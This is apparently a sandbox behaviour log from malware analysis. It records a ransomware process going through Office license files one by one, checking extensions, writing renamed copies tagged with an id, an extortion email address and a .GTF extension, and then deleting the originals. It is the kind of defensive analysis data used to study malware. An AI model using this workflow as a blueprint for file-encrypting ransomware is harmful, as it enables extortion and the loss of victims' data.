	[0182.977] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.977] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.977] lstrlenW (lpString="OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 34
	[0182.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.978] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11619) returned 1
	[0182.978] CloseHandle (hObject=0x42c) returned 1
	[0182.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0182.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.979] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.979] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.979] GetLastError () returned 0x0
	[0182.979] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d63, lpOverlapped=0x0) returned 1
	[0182.981] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0182.982] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.982] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x118, lpOverlapped=0x0) returned 1
	[0182.983] SetEndOfFile (hFile=0x538) returned 1
	[0182.983] CloseHandle (hObject=0x538) returned 1
	[0182.983] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.983] SetEndOfFile (hFile=0x42c) returned 1
	[0182.987] CloseHandle (hObject=0x42c) returned 1
	[0182.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul-oob.xrm-ms")) returned 1
	[0182.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.988] lstrlenW (lpString=".doc") returned 4
	[0182.988] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.988] lstrlenW (lpString=".docx") returned 5
	[0182.989] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.989] lstrlenW (lpString=".pdf") returned 4
	[0182.989] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.989] lstrlenW (lpString=".xls") returned 4
	[0182.989] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.989] lstrlenW (lpString=".xlsx") returned 5
	[0182.989] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.989] lstrlenW (lpString=".ppt") returned 4
	[0182.989] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.989] lstrlenW (lpString=".zip") returned 4
	[0182.989] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.989] lstrlenW (lpString=".rar") returned 4
	[0182.989] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.989] lstrlenW (lpString=".bz2") returned 4
	[0182.989] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.989] lstrlenW (lpString=".7z") returned 3
	[0182.989] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.989] lstrlenW (lpString=".dbf") returned 4
	[0182.989] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.989] lstrlenW (lpString=".1cd") returned 4
	[0182.989] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.989] lstrlenW (lpString=".jpg") returned 4
	[0182.989] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.989] lstrlenW (lpString=".doc") returned 4
	[0182.989] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.989] lstrlenW (lpString=".docx") returned 5
	[0182.989] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.989] lstrlenW (lpString=".pdf") returned 4
	[0182.989] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.989] lstrlenW (lpString=".xls") returned 4
	[0182.990] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.990] lstrlenW (lpString=".xlsx") returned 5
	[0182.990] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.990] lstrlenW (lpString=".ppt") returned 4
	[0182.990] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.990] lstrlenW (lpString=".zip") returned 4
	[0182.990] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.990] lstrlenW (lpString=".rar") returned 4
	[0182.990] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.990] lstrlenW (lpString=".bz2") returned 4
	[0182.990] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.990] lstrlenW (lpString=".7z") returned 3
	[0182.990] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.990] lstrlenW (lpString=".dbf") returned 4
	[0182.990] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.990] lstrlenW (lpString=".1cd") returned 4
	[0182.990] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0182.990] lstrlenW (lpString=".jpg") returned 4
	[0182.990] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.990] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.990] lstrlenW (lpString="OneNoteVL_KMS_Client-ul.xrm-ms") returned 30
	[0182.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.991] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=9611) returned 1
	[0182.991] CloseHandle (hObject=0x42c) returned 1
	[0182.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms")) returned 0x220
	[0182.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.992] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.992] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.993] GetLastError () returned 0x0
	[0182.993] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x258b, lpOverlapped=0x0) returned 1
	[0183.265] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0183.273] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.273] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x110, lpOverlapped=0x0) returned 1
	[0183.273] SetEndOfFile (hFile=0x538) returned 1
	[0183.273] CloseHandle (hObject=0x538) returned 1
	[0183.274] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.274] SetEndOfFile (hFile=0x42c) returned 1
	[0183.276] CloseHandle (hObject=0x42c) returned 1
	[0183.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ul.xrm-ms")) returned 1
	[0183.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.277] lstrlenW (lpString=".doc") returned 4
	[0183.277] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.277] lstrlenW (lpString=".docx") returned 5
	[0183.277] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.277] lstrlenW (lpString=".pdf") returned 4
	[0183.278] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.278] lstrlenW (lpString=".xls") returned 4
	[0183.278] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.278] lstrlenW (lpString=".xlsx") returned 5
	[0183.278] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.278] lstrlenW (lpString=".ppt") returned 4
	[0183.278] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.278] lstrlenW (lpString=".zip") returned 4
	[0183.278] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.278] lstrlenW (lpString=".rar") returned 4
	[0183.278] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.278] lstrlenW (lpString=".bz2") returned 4
	[0183.278] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.278] lstrlenW (lpString=".7z") returned 3
	[0183.278] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.278] lstrlenW (lpString=".dbf") returned 4
	[0183.278] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.278] lstrlenW (lpString=".1cd") returned 4
	[0183.278] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.278] lstrlenW (lpString=".jpg") returned 4
	[0183.278] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.278] lstrlenW (lpString=".doc") returned 4
	[0183.278] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.278] lstrlenW (lpString=".docx") returned 5
	[0183.278] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.278] lstrlenW (lpString=".pdf") returned 4
	[0183.278] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.278] lstrlenW (lpString=".xls") returned 4
	[0183.278] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.279] lstrlenW (lpString=".xlsx") returned 5
	[0183.279] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.279] lstrlenW (lpString=".ppt") returned 4
	[0183.279] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.279] lstrlenW (lpString=".zip") returned 4
	[0183.279] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.279] lstrlenW (lpString=".rar") returned 4
	[0183.279] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.279] lstrlenW (lpString=".bz2") returned 4
	[0183.279] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.279] lstrlenW (lpString=".7z") returned 3
	[0183.279] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.279] lstrlenW (lpString=".dbf") returned 4
	[0183.279] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.279] lstrlenW (lpString=".1cd") returned 4
	[0183.279] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80
	[0183.279] lstrlenW (lpString=".jpg") returned 4
	[0183.279] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.279] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.279] lstrlenW (lpString="OutlookR_Retail-ul-oob.xrm-ms") returned 29
	[0183.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.280] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11584) returned 1
	[0183.280] CloseHandle (hObject=0x42c) returned 1
	[0183.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms")) returned 0x220
	[0183.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0183.301] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.316] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.318] GetLastError () returned 0x0
	[0183.318] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d40, lpOverlapped=0x0) returned 1
	[0183.320] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0183.321] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.321] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0183.321] SetEndOfFile (hFile=0x538) returned 1
	[0183.321] CloseHandle (hObject=0x538) returned 1
	[0183.321] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.321] SetEndOfFile (hFile=0x42c) returned 1
	[0183.324] CloseHandle (hObject=0x42c) returned 1
	[0183.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ul-oob.xrm-ms")) returned 1
	[0183.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.326] lstrlenW (lpString=".doc") returned 4
	[0183.326] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.326] lstrlenW (lpString=".docx") returned 5
	[0183.326] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.326] lstrlenW (lpString=".pdf") returned 4
	[0183.326] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.326] lstrlenW (lpString=".xls") returned 4
	[0183.326] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.326] lstrlenW (lpString=".xlsx") returned 5
	[0183.326] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.326] lstrlenW (lpString=".ppt") returned 4
	[0183.326] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.326] lstrlenW (lpString=".zip") returned 4
	[0183.326] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.326] lstrlenW (lpString=".rar") returned 4
	[0183.326] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.326] lstrlenW (lpString=".bz2") returned 4
	[0183.326] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.326] lstrlenW (lpString=".7z") returned 3
	[0183.326] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.326] lstrlenW (lpString=".dbf") returned 4
	[0183.326] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.327] lstrlenW (lpString=".1cd") returned 4
	[0183.327] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.327] lstrlenW (lpString=".jpg") returned 4
	[0183.327] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ul-oob.xrm-ms") returned 79
	[0183.327] lstrlenW (lpString=".doc") returned 4
	[0183.327] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.327] lstrlenW (lpString=".docx") returned 5
	[0183.327] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.327] lstrlenW (lpString=".pdf") returned 4
	[0183.327] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.327] lstrlenW (lpString=".xls") returned 4
	[0183.327] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.327] lstrlenW (lpString=".xlsx") returned 5
	[0183.327] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.327] lstrlenW (lpString=".ppt") returned 4
	[0183.327] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
